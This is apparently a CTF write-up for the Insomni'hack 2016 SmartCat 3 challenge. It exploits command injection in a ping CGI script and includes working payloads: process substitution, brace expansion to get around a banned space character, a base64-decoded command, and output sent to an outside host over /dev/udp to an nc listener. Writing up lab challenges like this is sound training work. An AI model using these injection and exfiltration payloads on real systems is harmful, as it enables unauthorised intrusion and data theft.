Insomni’hack 2016 – SmartCat 3

Category: Misc Author: awe Difficulty: Medium Description:

This is a follow-up to our smartcat challenge at the Insomni’hack Teaser. Get a shell to obtain the flag!

URL: http://smartcat3.insomni.hack/cgi-bin/ping.cgi

Last week-end was Insomni’hack CTF in Geneva.

A lot of various challenges and interesting one as usual.

Maybe you remember SmartCat challenges from the teaser (https://github.com/ctfs/write-ups-2016/tree/master/insomnihack-teaser-2016/web/smartcat1-50 for example).
The idea is that you have an input text where you can ping an address.

In our case, the script behind is python and is executing “ping $var” with bash.

The source code was available and we could see that some chars were forbidden:
`$|&*; and the space.  (Maybe I forgot some, sorry forgot to take a screenshot / copy of the code)

Another trick was that all port were closed except the DNS port (udp 53).

So the idea was to execute our command, but we couldn’t have reverse shell (at least at the beginning).

So what we need is:
1) Find a way to execute our command
2) Get the result of the command
3) Find a way to execute command without spaces
4) find the flag

  1. To execute our command line after the ping we can use redirection:
    ping 127.0.0.1>(ls)

    You can try this, it will execute your `ls` command. So now we can execute our arbitrary command. Unfortunately the space char was not allowed… but for now let’s think about getting the result.

  2. Only UDP protocol on port 53 is allowed and we cannot have space in our command. We can with netcat listen to udp port, so let’s do it on our own server:
nc -l -u -p 53 -v

Now we are ready to receive our result. Now we should ask the smartcat server to send us the result:

127.0.0.1>(ls>/dev/udp/192.168.10.106/53)

Yay! We got our result on our server, we can see there is one “index.cgi” file. Unfortunately no sign of the flag. We should probably list / directory. But without space?

3. Ok now we can execute our code and get the result. But without space we cannot list root directory. We spend a lot of time trying to find other command like find, ls, dir that accept stdin as directory but we couldn’t find any.

After some time, I was lucky to find this blog explaining how to exploit bash without space:
https://jon.oberheide.org/blog/2008/09/04/bash-brace-expansion-cleverness/
We can use brace to execute our arbitrary command with space!

# {echo,bonjour}
bonjour

Great! We have full control one the server… or almost…

4.  Now let’s see the root folder:

127.0.0.1>({ls,/}>/dev/udp/192.168.10.106/53)

Sorry I didn’t take screenshot but we had two interesting files: One file called “flag”, not readable by our user and one read_flag, executable by us.

So we execute the /read_flag command and get the flag!!! 😀

127.0.0.1>(/read_flag>/dev/udp/192.168.10.106/53)

Then we received:

Almost there… just trying to make sure you can execute arbitrary commands…. Write ‘Give me a…’ on my stdin, wait 2 seconds, and then write ‘… flag!’. Do not include the quotes. Each part is a different line.

Wait… whaaaaaaaaaaaat?
Damn we have to give

echo "Give me a..."
sleep 2
echo "... flag!"

as stdin of read_flag. But we still have forbidden chars like | and ;

Almost there… We did it in some special way, I think there was an easier way to do it, maybe even a kind-of-reverse-udp-shell but we did our first best idea:
1) Write into a file (/tmp/bla3) the 3 commands we need
2) Encode the `sh /tmp/bla3|/read_flag` with base64
3) Get the flag!

  1.  I agree, this solution is not the most graceful and beautiful one.. but whatever!
    127.0.0.1>({echo,"echo","Give","me","a..."}>/tmp/bla3)
    127.0.0.1>({echo,"sleep","2"}>/tmp/bla1)
    127.0.0.1>({echo,"echo","...","flag!"}>/tmp/bla2)
    
    127.0.0.1>({cat,"/tmp/bla1","/tmp/bla2"}>>/tmp/bla3)
  2. Now let’s write our magic command with forbidden chars in a file /tmp/bla5
    127.0.0.1>({base64,"--decode"}<<<"c2ggL3RtcC9ibGEzfC9yZWFkX2ZsYWc=">/tmp/bla5)
  3. Now we just have to execute our /tmp/bla5 file and it will execute our file and give it as stdin to our /read_flag program!
    127.0.0.1>({sh,/tmp/bla5}>/dev/udp/192.168.10.106/53)

    After 2 seconds (the sleep command) we received finally the flag!
    Of course I didn’t save the flag… so you will have to trust me 🙂

The challenge was interesting and I think that once you can execute command with space you are able to run a nc to execute command coming from the network even with udp protocol.